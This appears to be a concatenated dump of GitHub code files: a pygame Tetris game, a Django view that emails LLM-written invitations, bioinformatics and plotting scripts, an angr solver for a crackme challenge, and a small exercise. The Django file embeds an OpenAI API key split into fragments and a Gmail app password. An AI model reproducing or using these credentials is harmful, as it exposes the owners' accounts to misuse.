time\nimport numpy\nimport json\nfrom queue import PriorityQueue\n\nINF = 9999999999\n\nBLACK=(0,0,0)\nWHITE=(255,255,255)\n\npygame.init()\npygame.display.set_caption(\"Tetris\")\n\nclass Block:\n def __init__(self,name):\n self.name=name\n with open('block info/block-number map.json', 'r', encoding='utf-8') as file:\n block_number_map = json.load(file)\n self.num=block_number_map[name]\n\n #set matrix\n reader = Reader()\n block_info = reader.read_strings_from_txt(f'block matrixs/{name}.txt')\n matrix = reader.string_to_block(block_info)\n self.matrix = matrix\n self.size=len(self.matrix)\n\n #set rgb\n with open('block info//block rgbs.json', 'r', encoding='utf-8') as file:\n block_rgbs = json.load(file)\n self.rgb = block_rgbs[name]\n\n #set geometry\n self.pos=[0,5-self.size//2]\n self.rotation_cnt = 0\n\n #movement constants\n self.RIGHT=0\n self.UP=1\n self.LEFT=2\n self.DOWN=3\n\n self.dy=[0,-1,0,1]\n self.dx=[1,0,-1,0]\n def get_default(self):\n return Block(self.name)\n\n def get_shadow(self):\n block=copy.deepcopy(self)\n with open('block info/block rgbs.json', 'r', encoding='utf-8') as file:\n block_rgbs = json.load(file)\n block.rgb = block_rgbs[\"E\"]\n return block\n \n def get_elements_in_board(self):\n elements=[]\n size=len(self.matrix)\n for i in range(size):\n for j in range(size):\n if self.matrix[i][j]:\n elements.append([i+self.pos[0],j+self.pos[1]])\n return elements\n \n def move_by_dir(self, dir):\n self.pos=[self.pos[0]+self.dy[dir],self.pos[1]+self.dx[dir]]\n def get_moved_by_dir(self, dir):\n res = copy.deepcopy(self)\n res.move_by_dir(dir)\n return res\n def move(self,dis_vec):\n self.pos=[self.pos[i]+dis_vec[i] for i in range(2)]\n def get_moved(self, dis_vec):\n res = copy.deepcopy(self)\n res.move(dis_vec)\n return res\n\n def get_rotated_point(self, pos, center, deg):\n #x=j-center\n #y=i-center\n #res_x=-y\n #res_y=x\n #nj=res_x+center=center-y=2*center-i\n #ni=res_y+center=j\n #i,j -> j,2c-i -> 2c-i, 2c-j -> 2c-j, i\n y,x=pos[0],pos[1]\n if deg==90:\n return [2*center-x, y]\n elif deg==180:\n return [2*center-y,2*center-x]\n elif deg==270:\n return [x,2*center-y]\n def get_rotated(self, deg):\n size=len(self.matrix)\n if size==2: # O block\n return self\n center = (size-1)/2\n result_matrix=[[0]*size for i in range(size)]\n for i in range(size):\n for j in range(size):\n if self.matrix[i][j]:\n y,x = self.get_rotated_point([i,j],center,deg)\n y,x=int(y),int(x)\n result_matrix[y][x]=self.matrix[i][j]\n result_block = copy.deepcopy(self)\n result_block.matrix = result_matrix\n result_block.rotation_cnt+=deg//90\n result_block.rotation_cnt%=4\n return result_block\n \n def get_rotated_clockwise(self):\n return self.get_rotated(2)\n def get_rotated_180(self):\n return self.get_rotated(1)\n def get_rotated_counterclockwise(self):\n return self.get_rotated(0)\n\nclass Reader:\n def __init__(self):\n return\n def read_strings_from_txt(self,txt_path):\n res_list = []\n with open(txt_path,'r') as f:\n flag=1\n while flag:\n line = f.readline()\n if flag==1:\n flag=2\n else:\n if not line: \n res_list.append(string)\n break\n res_list.append(string[:-1])\n string = line\n \n return res_list\n def string_to_block(self, lines):\n res_matrix = []\n for line in lines:\n row=[]\n for i in line:\n row.append(int(i))\n res_matrix.append(row)\n return res_matrix\n\nclass Resource:\n def __init__(self):\n reader = Reader()\n self.block_names=reader.read_strings_from_txt('block info/block names.txt')\n self.blocks = [Block(i) for i in self.block_names]\n with open('block info//block rgbs.json', 'r', encoding='utf-8') as file:\n self.block_rgbs = json.load(file)\n \n self.kick_data = reader.read_strings_from_txt('kick table/kick.txt')\n self.kick_data=list(map(eval,self.kick_data))\n \n self.kick_data_i = reader.read_strings_from_txt('kick table/kick_i.txt')\n self.kick_data_i=list(map(eval,self.kick_data_i))\n\n self.kick_data_180 = reader.read_strings_from_txt('kick table/kick_180.txt')\n self.kick_data_180=list(map(eval,self.kick_data_180))\n\n self.key_list = reader.read_strings_from_txt('event system/key list.txt')\n\nclass Graphic_Manager:\n def __init__(self, owner_instance, square_size=20, block_size=24,preview_block_size=28):\n self.owner_instance=owner_instance\n self.resource = Resource()\n self.screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\n self.SCREEN_WIDTH, self.SCREEN_HEIGHT = self.screen.get_size()\n\n self.square_size=square_size\n self.block_size=block_size\n self.preview_block_size = preview_block_size\n \n #\n vertical_center = self.SCREEN_HEIGHT/2\n horizontal_center = self.SCREEN_WIDTH/2\n self.board_start=[vertical_center - self.block_size*11, horizontal_center - self.block_size*5]\n self.board_end=[vertical_center + self.block_size*11, horizontal_center + self.block_size*5] \n \n def draw_board_case(self):\n brick = Block('W')\n for i in range(-1,11):\n self.draw_block_piece_by_index(brick.rgb,-1,i)\n self.draw_block_piece_by_index(brick.rgb,22,i)\n for i in range(22):\n self.draw_block_piece_by_index(brick.rgb,i,-1)\n self.draw_block_piece_by_index(brick.rgb,i,10)\n\n def draw_block(self, block):\n color = block.rgb\n for i,j in block.get_elements_in_board():\n self.draw_block_piece_by_index(color, i, j)\n def draw_block_piece_by_pos(self, color, pos):\n y,x=pos[0],pos[1]\n def convert(x):\n return x-self.square_size/2+self.block_size/2\n assert convert(y)!=y\n y,x=convert(y),convert(x)\n \n pygame.draw.rect(self.screen, color, [x, y, self.square_size, self.square_size])\n def draw_block_piece_by_index(self, color, i, j):\n self.draw_block_piece_by_pos(color,[self.board_start[0]+self.block_size*i,self.board_start[1]+self.block_size*j])\n\n def draw_installed_blocks(self,board):\n for i in range(22):\n for j in range(10):\n block_name = self.resource.block_names[board[i][j]]\n self.draw_block_piece_by_index(self.resource.block_rgbs[block_name], i, j)\n \n def draw_board(self, board):\n self.screen.fill(BLACK)\n self.draw_board_case()\n self.draw_installed_blocks(board)\n \n def draw_block_queue(self, queue):\n block_queue = [Block(self.resource.block_names[i]) for i in queue]\n is_height_1 = False \n for i in range(5):\n is_height_1 = block_queue[i].name=='I'\n if is_height_1:\n block_queue[i].pos[0] = 1+3*i+1.5-0.5\n else:\n block_queue[i].pos[0] = 1+3*i+1.5-1\n block_queue[i].pos[1]=13-block_queue[i].size/2\n self.draw_block(block_queue[i])\n\n def draw_hold(self, holding_block):\n holding_block.pos=[1,-holding_block.size/2-3.5]\n self.draw_block(holding_block)\n\n def draw_game_over(self):\n font = pygame.font.SysFont(\"notosanscjkkr\",30)\n text = font.render(f\"game over \",True,WHITE)\n r=text.get_rect()\n r.centerx=self.SCREEN_WIDTH/2\n r.centery=self.SCREEN_HEIGHT/2\n self.screen.blit(text,r) \n \nclass Functions:\n def __init__(self):\n self.functions = {\n 'linear':self.linear\n }\n def get_func(self, name, *args):\n return self.functions[name](*args)\n def linear(self, a, b):\n def axp_b(x):\n return a*x+b\n return axp_b\n \nclass Tetris:\n def __init__(self):\n #helper\n self.resource = Resource()\n self.graphic_manager = Graphic_Manager(self)\n self.func_helper = Functions()\n\n #event queue\n self.event_queue_counter=0\n self.event_queue={}\n self.events_in_loop={}\n\n #board and block\n self.curr_block = None\n self.holding_block = None\n self.dropped = None\n self.block_queue=[]\n self.board=[[0 for j in range(10)] for i in range(22)]\n self.used_hold = False\n\n #rotation\n self.rotation_counter=0\n\n #movement\n self.RIGHT=0\n self.UP=1\n self.LEFT=2\n self.DOWN=3\n\n self.dy=[0,-1,0,1]\n self.dx=[1,0,-1,0]\n\n #gravity\n self.gravity_period = 1\n self.lock_delay_func = self.func_helper.get_func('linear', -1/5, 1)\n self.lock_delay_count = 0\n self.lock_delay = 0\n self.whether_reaches_ground = False\n self.whether_reaches_ground_prev = False\n self.gravity_action_event_key = None\n\n #time\n self.started_time=time.time()\n self.finished_time=0\n\n #sound\n self.sounds ={}\n for i in ['blaster', 'reloading', 'shotgun-firing', 'sniper-firing']:\n self.sounds[i] = pygame.mixer.Sound(f'sounds/{i}.mp3')\n \n ###\n #key binding\n\n self.key_input_recorder={}\n for i in self.resource.key_list:\n self.key_input_recorder[i] = {\n 'up':False,\n 'down':False,\n 'hold':0\n }\n\n #event\n self.event_map_default={}\n with open('event system/event map.json', 'r', encoding='utf-8') as file:\n self.event_map_default = json.load(file)\n self.event_map = copy.deepcopy(self.event_map_default)\n self.event_map_on_ground = copy.deepcopy(self.event_map_default)\n\n self.pull_down_input = None\n for key in self.event_map_on_ground.keys():\n if self.event_map_on_ground[key] == 'try_pull_down_block':\n self.pull_down_input=key\n break\n del self.event_map_on_ground[self.pull_down_input]\n\n self.event_delete_reservation_onehot = {}\n self.event_addition_reservation_list = []\n self.game_over_flag=False\n self.exit_flag=False\n self.event_queue_clear_reservation_flag=False\n self.event_map_change_reservation=None\n\n #function map\n self.func_map = {\n 'try_move_block_to_left' : self.try_move_block_to_left,\n 'try_move_block_to_right' : self.try_move_block_to_right,\n 'try_pull_down_block' : self.try_pull_down_block,\n 'drop_block' : self.drop_block,\n 'rotate_block_clockwise' : self.rotate_block_clockwise,\n 'rotate_block_counterclockwise' : self.rotate_block_counterclockwise,\n 'rotate_block_180' : self.rotate_block_180,\n 'cheat' : self.cheat,\n 'act_gravity' : self.act_gravity,\n 'None': lambda : None,\n \"hold_curr_block\" : self.hold_curr_block,\n 'exit_game' : self.exit_game\n }\n\n #start\n self.start()\n\n def start(self):\n self.add_blocks_to_queue()\n self.grab_block()\n self.add_gravity_event()\n def exit_game(self):\n self.exit_flag = True\n def hold_curr_block(self):\n if self.used_hold:\n return\n \n #t: swapping route variable\n t=self.holding_block\n self.holding_block=self.curr_block.get_default()\n if t is None:\n self.grab_block()\n else:\n self.curr_block=t.get_default()\n self.update_lock()\n self.used_hold = True\n\n def display(self):\n self.graphic_manager.draw_board(self.board)\n \n if self.dropped is not None:\n self.graphic_manager.draw_block(self.dropped)\n \n if self.holding_block is not None:\n self.graphic_manager.draw_hold(self.holding_block)\n self.graphic_manager.draw_block_queue(self.block_queue)\n \n self.graphic_manager.draw_block(self.curr_block)\n \n\n if self.game_over_flag:\n self.graphic_manager.draw_game_over()\n \n \n pygame.display.update()\n \n def reaches_ground(self):\n return self.overlaps(self.curr_block.get_moved_by_dir(self.DOWN))\n def reserve_delete_event(self, key):\n self.event_delete_reservation_onehot[key]=1\n\n def event_process(self):\n t=time.time()\n for key in self.event_queue.keys():\n if self.event_queue_clear_reservation_flag:\n break\n if self.event_delete_reservation_onehot[key]:\n continue\n executation_time = self.event_queue[key][1]\n cmd=self.event_queue[key][0]\n\n if executation_time<=t:\n if type(cmd)==list:\n for j in cmd:\n self.execute_cmd(j)\n self.reserve_delete_event(i)\n else:\n self.execute_cmd(cmd)\n self.reserve_delete_event(key)\n if self.event_queue_clear_reservation_flag:\n self.event_queue = {}\n self.event_addition_reservation_list = []\n self.event_delete_reservation_onehot = {}\n self.event_queue_clear_reservation_flag=False\n \n for key, value in self.event_addition_reservation_list:\n self.event_queue[key] = value\n if not key in self.event_delete_reservation_onehot:\n self.event_delete_reservation_onehot[key]=0\n\n delete_event_list = []\n for key in self.event_delete_reservation_onehot.keys():\n if self.event_delete_reservation_onehot[key]:\n del self.event_queue[key]\n delete_event_list.append(key)\n\n for key in delete_event_list:\n del self.event_delete_reservation_onehot[key]\n\n self.event_addition_reservation_list=[]\n\n def loop(self):\n self.display()\n self.deal_input()\n self.event_process()\n\n def cheat(self):\n for i in range(22):\n for j in range(10):\n self.board[i][j]=0\n\n #movement\n\n def can_move_block(self, dir): \n cand = self.curr_block.get_moved_by_dir(dir)\n return not self.overlaps(cand)\n def try_move_block(self, dir):\n if self.can_move_block(dir):\n self.curr_block.move_by_dir(dir)\n self.update_lock()\n return True\n return False\n #play\n def try_move_block_to_left(self):\n self.try_move_block(self.LEFT)\n def try_move_block_to_right(self):\n self.try_move_block(self.RIGHT)\n def try_pull_down_block(self):\n assert not self.overlaps(self.curr_block)\n if self.try_move_block(self.DOWN):\n self.reserve_delete_event(self.gravity_action_event_key)\n self.add_gravity_event()\n \n #gravity\n def reset_gravity(self):\n self.reserve_delete_event(self.gravity_action_event_key)\n self.add_gravity_event()\n def add_gravity_event(self):\n self.reserve_add_event('act_gravity', self.gravity_period)\n self.gravity_action_event_key = self.event_queue_counter\n print(self.gravity_action_event_key)\n \n def act_gravity(self):\n if self.whether_reaches_ground:\n self.install_block()\n self.grab_block()\n if self.game_over_flag:\n return\n self.update_lock()\n self.add_gravity_event()\n return\n self.curr_block.move_by_dir(self.DOWN)\n self.update_lock()\n self.add_gravity_event()\n\n def update_lock(self):\n self.update_arrival_info()\n\n if self.whether_reaches_ground and self.whether_reaches_ground_prev:\n self.update_lock_delay()\n elif self.whether_reaches_ground and not self.whether_reaches_ground_prev:\n self.event_map_change_reservation='on_ground'\n elif not self.whether_reaches_ground and self.whether_reaches_ground_prev:\n self.event_map_change_reservation='default'\n self.set_dropped()\n def update_lock_delay(self): \n if self.lock_delay_count < 5:\n self.reset_gravity()\n self.lock_delay_count+=1\n def update_arrival_info(self):\n self.whether_reaches_ground_prev = self.whether_reaches_ground\n self.whether_reaches_ground = self.reaches_ground()\n \n def set_dropped(self):\n self.dropped = self.curr_block.get_shadow()\n while not self.overlaps(self.dropped):\n self.dropped.move_by_dir(self.DOWN)\n self.dropped.move_by_dir(self.UP)\n\n def drop_block(self):\n self.curr_block.pos=self.dropped.pos\n self.install_block()\n self.grab_block()\n if self.game_over_flag:\n return\n self.update_lock()\n self.reset_gravity()\n \n #block interaction\n def is_full_line(self, i):\n for j in range(10):\n if self.board[i][j]==0:\n return False\n return True\n def clear_full_lines(self, added_lines):\n full_lines = []\n for i in added_lines:\n if self.is_full_line(i):\n full_lines.append(i)\n if full_lines == []:\n return\n for i in full_lines:\n for j in range(10):\n self.board[i][j]=0\n #sort by descending order\n full_lines=sorted(full_lines)\n full_lines.reverse()\n self.pull_down_lines(full_lines)\n def move_line(self, start, dest):\n for j in range(10):\n self.board[dest][j]=self.board[start][j]\n def pull_down_lines(self, cleared_lines):\n for i in range(len(cleared_lines)):\n start=cleared_lines[i]+i\n end=0\n if i+1==len(cleared_lines):\n end=i\n else:\n end=cleared_lines[i+1]+i\n for j in range(start, end, -1):\n start_line=j-(i+1)\n self.move_line(start_line,j)\n\n def install_block(self):\n added_lines = set()\n for i,j in self.curr_block.get_elements_in_board():\n self.board[i][j] = self.curr_block.num\n added_lines.add(i)\n self.clear_full_lines(added_lines)\n #play\n \n def grab_block(self):\n self.curr_block = Block(self.resource.block_names[self.block_queue[0]])\n del self.block_queue[0]\n if len(self.block_queue)<5:\n self.add_blocks_to_queue()\n self.used_hold = False\n self.lock_delay_count = 0\n if self.overlaps(self.curr_block):\n self.game_over()\n return \n\n def is_valid_pos(self, y,x):\n y_valid = 0<=y and y<22\n x_valid = 0<=x and x<10\n return y_valid and x_valid\n def overlaps(self, block):\n elements = block.get_elements_in_board()\n for y,x in elements:\n if not self.is_valid_pos(y,x):\n return True\n if self.board[y][x]:\n return True\n return False\n ###\n def get_kick_table(self, deg):\n kick_table=[]\n if deg==180:\n kick_table=self.resource.kick_data_180[self.curr_block.rotation_cnt] \n else:\n table=[]\n if self.curr_block.name == 'I':\n if deg==270:\n table = self.resource.kick_data_i[4:]\n else:\n table = self.resource.kick_data_i[:4]\n else:\n if deg==270:\n table = self.resource.kick_data[4:]\n else:\n table = self.resource.kick_data[:4]\n kick_table = table[self.curr_block.rotation_cnt]\n return kick_table\n def add_blocks_to_queue(self):\n self.block_queue += list(numpy.random.permutation(list(range(1,8))))\n\n #rotation\n def rotate_curr_block(self, deg):\n #play\n rotated_block = self.curr_block.get_rotated(deg)\n kick_table = self.get_kick_table(deg)\n kick_table=[(0,0)]+list(kick_table)\n for movement in kick_table:\n curr_cand = rotated_block.get_moved(movement)\n if not self.overlaps(curr_cand):\n self.curr_block = curr_cand\n self.update_lock()\n return\n def rotate_block_clockwise(self):\n self.rotate_curr_block(270)\n def rotate_block_counterclockwise(self):\n self.rotate_curr_block(90)\n def rotate_block_180(self):\n self.rotate_curr_block(180)\n\n def min(a, b):\n if a<=b:\n return a\n return b\n \n ###\n def game_over(self): \n self.event_queue_clear_reservation_flag=True\n self.dropped=None\n self.finished_time = time.time()\n self.game_over_flag = True\n self.event_map = {'down, escape':'exit_game'}\n \n #event\n def reserve_add_event(self, cmd, delay):\n self.event_queue_counter+=1\n event = [self.event_queue_counter, [cmd, time.time()+delay]]\n self.event_addition_reservation_list.append(event)\n self.event_delete_reservation_onehot[self.event_queue_counter] = 0\n def execute_cmd(self,cmd):\n if type(cmd)==list and len(cmd)==2:\n delay = cmd[1]\n event = cmd[0]\n self.reserve_add_event(event, delay)\n else:\n self.func_map[cmd]()\n\n #input\n def is_input_occured(self,commands):\n event_type = commands[0]\n key=commands[1]\n \n if event_type=='hold':\n \n holding_start_time = self.key_input_recorder[key]['hold']\n if holding_start_time==0:\n return False\n \n func_name = commands[2]\n func=None\n if len(commands)>3:\n func = self.func_helper.get_func(func_name, *map(float, commands[3:-1]))\n \n dt=time.time()-holding_start_time\n cnt=float(commands[-1])\n return func(dt)>=cnt+1\n \n elif event_type=='down' or event_type=='down hold':\n return self.key_input_recorder[key]['down']\n \n elif event_type=='up':\n return self.key_input_recorder[key]['up']\n ##########\n # !!! event interpretation rule !!!\n # input interpretation\n # down, {key} = check if {key} is pressed in this frame \n # up, {key} = check if {key} is unpressed in this frame \n # hold, {func}, {args}, {cnt} = check if {func}({args}) ({holding time}) >=cnt+1\n # down hold, {func}, {args}, {cnt} = check if {key} is pressed in this frame or {func}({args}) ({holding time}) >=cnt+1\n \n # {func} = excute {func} \n # {func}, {delay} = excute {func} {delay} later \n ##########\n\n def deal_input(self):\n addition_reservation_list = []\n delete_reservation_list = []\n if self.event_map_change_reservation is not None:\n if self.event_map_change_reservation=='default':\n self.event_map = self.event_map_default\n elif self.event_map_change_reservation=='on_ground':\n self.event_map = self.event_map_on_ground\n self.event_map_change_reservation=None\n \n for cmd_str in self.event_map.keys():\n cmd = cmd_str.split(', ')\n if self.is_input_occured(cmd):\n self.execute_cmd(self.event_map[cmd_str])\n if cmd[0]=='down hold':\n cmd[0]='hold'\n cmd.append('0')\n new_cmd_str = ', '.join(cmd)\n addition_reservation_list.append([new_cmd_str, self.event_map[cmd_str]])\n elif cmd[0]=='hold':\n cnt=int(cmd[-1])\n cmd[-1]=str(cnt+1)\n new_cmd_str = ', '.join(cmd)\n addition_reservation_list.append([new_cmd_str,self.event_map[cmd_str]])\n # delete_reservation_list.append(cmd_str)\n \n for key,value in addition_reservation_list:\n self.event_map[key]=value\n for key in delete_reservation_list:\n del self.event_map[key]\n for i in self.key_input_recorder.keys():\n self.key_input_recorder[i]['up']=False\n self.key_input_recorder[i]['down']=False\n\n\n def deal_keydown(self, event_key):\n self.key_input_recorder[event_key]['hold']=time.time()\n self.key_input_recorder[event_key]['down']=True\n \n def deal_keyup(self, event_key):\n self.key_input_recorder[event_key]['hold']=0\n self.key_input_recorder[event_key]['up']=True\n\n hold_event_key = f\"hold {event_key}\"\n if hold_event_key in self.event_map:\n del self.event_map[hold_event_key]\n\nclass Play_Tetris:\n def __init__(self):\n self.tetris=Tetris()\n self.QUIT = -1\n self.OK = 1\n self.GAME_OVER = 0\n self.clock = pygame.time.Clock()\n\n def run(self, fps):\n status=self.OK\n while True:\n if status == self.QUIT:\n break\n self.clock.tick(fps)\n status = self.update()\n if status == self.OK:\n self.tetris.display()\n elif status == self.GAME_OVER:\n pass\n def update(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return self.QUIT\n elif event.type == pygame.KEYDOWN:\n keyname = pygame.key.name(event.key)\n self.tetris.deal_keydown(keyname)\n elif event.type == pygame.KEYUP:\n keyname = pygame.key.name(event.key)\n self.tetris.deal_keyup(keyname)\n self.tetris.loop()\n if self.tetris.exit_flag:\n return self.QUIT\n if self.tetris.game_over_flag:\n return self.GAME_OVER\n else:\n return self.OK\n\ngame = Play_Tetris()\ngame.run(60)","repo_name":"catseonjae/tetris","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":26680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34834380138","text":"from django.shortcuts import render\nfrom .forms import RegisterForm\nfrom django.http import HttpResponse\nfrom .models import Register,pool\nimport json\nimport openai\n\nimport smtplib\nimport ssl\nfrom email.message import EmailMessage\n\n\ndef index(request):\n \n if request.method == 'POST':\n form = RegisterForm(request.POST)\n if form.is_valid():\n form.save()\n registermodel = Register.objects.all()\n #print(\"from first model\",registermodel)\n #convert to list\n registermodeljson = list(registermodel.values())\n registermodeljson = registermodeljson[::-1]\n print(\"from second model\",registermodeljson[0])\n # event_name=registermodeljson[0]['event_name']\n # event_type=registermodeljson[0]['event_type']\n # event_date=registermodeljson[0]['event_date']\n # duration=registermodeljson[0]['duration']\n # venue=registermodeljson[0]['venue']\n # target_group=registermodeljson[0]['target_group']\n # print(\"data collected from forms:\",event_name,event_type,event_date,duration,venue,target_group)\n ai=aimodel(registermodeljson[0])\n \n no_of_participants=find_no_participtants(registermodeljson[0][\"event_type\"]) \n names_of_participants = find_participants(registermodeljson[0][\"event_type\"])\n print(\"Number of Matches found for the interest \", registermodeljson[0]['event_type'],\" is \",no_of_participants,\". And there names are: \",names_of_participants) \n\n if ai:\n return render(request, 'aimodel.html', {'ai':ai,\"names_of_participants\":names_of_participants,\"no_of_participants\":no_of_participants})\n\n # aimodel(registermodeljson)\n return render(request, 'index.html', {'registermodeljson': registermodeljson,'ai':ai})\n else:\n form = RegisterForm()\n return render(request, 'index.html', {'form': form})\n\n#creating content for the email\ndef aimodel(request):\n\n event_name=request['event_name']\n event_type=request['event_type']\n event_date=request['event_date']\n duration=request['duration']\n venue=request['venue']\n target_group=request['target_group']\n\n # query1 = \"Name: \"+event_name + \"\\nInterest: \"+event_type + \"\\nEvent_Name: \"+event_name + \"\\nDuration: \"+duration + \"\\nVenue: \"+venue +\"\\nDate: \"+str(event_date)+\"\\n\\nOutput: \"\n\n users_all=pool.objects.filter()\n \n name = \"Johns Baby\"\n key1 = \"sk-fNSgLM91\"\n key2 = \"hl9CZAXl\"\n key3 = \"arXtT3Bl\"\n key4 = \"bkFJhKz\"\n key5 = \"jdMFNRy3\"\n key6 = \"yWivkse6P\"\n key = key1+key2+key3+key4+key5+key6\n \n if 1:\n query =\"I recently saw a post by \"+name+\" on LinkedIn sharing his experience about a hackathon that he recently participated. Generate an Invitation mail to \"+name+\" inviting him to a \"+duration+\", \"+event_type+\" Hackathon conducted by \"+venue+\" on \"+str(event_date)+\" and mention that i'm inviting him because i saw his recent post on linkedin about his interest in attending hackthons. \"\n # print(\"query1\",query1)\n\n\n # Define email sender and receiver\n email_sender = 'wel.ai.marketing@gmail.com'\n email_password = 'zwrp btjp foxt whsp'\n email_receiver = 'johns.baby@mca.christuniversity.in'\n \n\n openai.api_key = key\n response = openai.Completion.create( \n engine = \"text-davinci-003\",\n prompt=query,\n temperature=0.1, # how deterministic should your response be, so higher the temp:lower precise it is\n max_tokens=500,\n top_p=1,\n frequency_penalty=0,\n presence_penalty=0\n )\n print(\"------------------------------------------\")\n content = response.choices[0].text.split('.')\n print(\"content obtained\",content)\n\n k=\"\"\n for i in range(len(content)):\n k+=content[i]\n\n print(\"filtered content\",k)\n\n body = k\n\n em = EmailMessage()\n em['From'] = email_sender\n em['To'] = email_receiver\n em['Subject'] = \"Invitation to \"+event_name+\" Hackathon!!\"\n em.set_content(body)\n\n # Add SSL (layer of security)\n context = ssl.create_default_context()\n\n # Log in and send the email\n with smtplib.SMTP_SSL('smtp.gmail.com', 465, context=context) as smtp:\n smtp.login(email_sender, email_password)\n smtp.sendmail(email_sender, email_receiver,em.as_string())\n\n eventandinv={'eventname':event_name, 'event_type':event_type, \n 'event_date':event_date, 'duration':duration, \n 'venue':venue, 'target_group':target_group,\"message\":k}\n\n\n return eventandinv\n\n\n# finds the names of the participants\ndef find_participants(interest):\n users_all=pool.objects.all().filter(interest=interest)\n lst=[]\n for i in users_all:\n lst.append(i.name)\n return lst\n\ndef find_no_participtants(interest):\n users_all=pool.objects.all().filter(interest=interest)\n return users_all.count() ","repo_name":"thebabycode/Specfront","sub_path":"johnapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39883798042","text":"import sys\nfrom Bio import pairwise2 #Biopython\n\ndef revcomp(seq):\n complement = {'A': 'T', 'C': 'G', 'G': 'C', 'T': 'A'}\n return ''.join([complement[x] for x in seq[::-1]])\n\ndef inserts_to_pairs(in_fq, out_fq1, out_fq2, length = 125):\n \"\"\"\n Takes a fastq containing simulated inserts, and converts them to paired reads based on the requested\n length\n\n Input:\n in_fq (str): Filename of a fastq file containing a list of reads.\n out_fq1 (str): Filename of output fastq that will hold the first read in each pair\n out_fq2 (str): Filename of output fastq that will hold the second read in each pair\n length (int): Paired read length. Must be shorter or equal to the shortest read in the input fastq.\n\n Output:\n Writes paired reads to output fastq files.\n \"\"\"\n fq1 = open(out_fq1, 'w')\n fq2 = open(out_fq2, 'w')\n\n i = 0\n with open(in_fq, 'r') as fq:\n entry_id = \"\"\n seq = \"\"\n optional = \"\"\n quality = \"\"\n for line in fq:\n if i % 100 == 0:\n print(i)\n i += 1\n entry_id = line.strip().split()[0]\n seq = next(fq).strip()\n optional = next(fq).strip()\n quality = next(fq).strip()\n seq1 = seq[:length]\n seq2 = revcomp(seq[len(seq) - length:])\n qual1 = quality[:length]\n qual2 = quality[len(quality) - length: ][::-1]\n fq1.write(f\"{entry_id}\\n\")\n fq1.write(f\"{seq1}\\n\")\n fq1.write(f\"{optional}\\n\")\n fq1.write(f\"{qual1}\\n\")\n fq2.write(f\"{entry_id}\\n\")\n fq2.write(f\"{seq2}\\n\")\n fq2.write(f\"{optional}\\n\")\n fq2.write(f\"{qual2}\\n\")\n \n fq1.close()\n fq2.close()\n\nif __name__ == \"__main__\":\n in_fq = sys.argv[1]\n out_fq1 = sys.argv[2]\n out_fq2 = sys.argv[3]\n length = int(sys.argv[4])\n\n inserts_to_pairs(in_fq, out_fq1, out_fq2, length)","repo_name":"mctp/hapster","sub_path":"scripts/inserts_to_reads.py","file_name":"inserts_to_reads.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5824376570","text":"#!/usr/bin/python3\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndebug=False\n\nfile_names = (\"bbb_br_2205.txt\", \"bbb_br_36.txt\", \"bbb_crf_30.txt\", \"bbb_br_334.txt\", \"bbb_crf_18.txt\", \"bbb_crf_48.txt\")\n#file_names = (\"bbb_br_2205.txt\", \"bbb_crf_18.txt\")\n\n# numpy array to save the bitrates: [30 values for the first], [30 values for the second], ...\nbitrates = []\ni=0\nfor file_name in file_names:\n\n if debug: print(file_name)\n\n with open(\"../images/q5/crf-videos/\"+file_name, 'r') as file:\n\n tmp_bitrate = 0\n sec = 0\n n=0\n for line in file.readlines():\n n+=1\n if line.startswith(\"stream\"):\n continue\n\n tmp_bitrate += float(line.split(\"=\")[2].split(\" \")[0])\n if n == 23:\n bitrates.append([i, sec, tmp_bitrate])\n sec += 1\n tmp_bitrate =0\n n=0\n\n i += 1\nprint(bitrates)\nbitrates = np.array(bitrates)\nprint(bitrates)\n\n\n\n###\n# Plotting\n###\n\nbitrates = bitrates.reshape(6, 31, 3)\n\nax = plt.subplot()\nfor i in range(0, 6, 1):\n print(i)\n\n if (i==0 or i==1 or i==3):\n ax.plot(bitrates[i, :, 1], bitrates[i, :, 2])\n else:\n ax.plot(bitrates[i, :, 1], bitrates[i, :, 2], ls=\"--\")\n\n #ax.legend(file_names, loc='upper left')\nax.legend((\"Target Bitrate 2205kb/s\", \"Target Bitrate 36kb/s\", \"CRF Value 30\", \"Target Bitrate 334kb/s\", \"CRF Value 18\", \"CRF Value 48\"), loc=\"upper left\")\n#ax.margins(x=0.0, y=0.3)\nax.set(title='Bitrate during the video', ylabel='Bitrate [bit/second]', xlabel='Time [second]')\n\nplt.savefig(\"../figures/q5_b_bitrate_over_time.png\")\nplt.show()","repo_name":"sivansha/image-processing","sub_path":"video-processing/code/q5_b.py","file_name":"q5_b.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30981837615","text":"import angr\n\np = angr.Project(\"./serial\")\naddr_success = 0x400e61\naddr_failed1 = 0x400d27\naddr_failed2 = 0x400e7d\n\ninitial_state = p.factory.entry_state()\npathgroup = p.factory.path_group(initial_state)\npathgroup.explore(find=(addr_success,),avoid=(addr_failed1,addr_failed2))\n\nfor path in pathgroup.found:\n print(path)\n print(repr(path.state.posix.dumps(1)))\n print(repr(path.state.posix.dumps(0)))\n","repo_name":"smallkirby/pwn-writeups","sub_path":"batalist/serial/angr_exploit.py","file_name":"angr_exploit.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"75"} +{"seq_id":"11402355118","text":"Time = int(input())\n\nDay = Month = Year = 0\n\nwhile Time != 0:\n if Time >= 365:\n Year = Time / 365\n Time = Time % 365\n elif Time >= 30:\n Month = Time / 30\n Time = Time % 30\n else:\n Day = Time\n Time = 0\n\nprint(\"%d ano(s)\" % Year)\nprint(\"%d mes(es)\" % Month)\nprint(\"%d dia(s)\" % Day)\n","repo_name":"habib33-3/Beecrowd_Python","sub_path":"1020(AgeInDays).py","file_name":"1020(AgeInDays).py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} 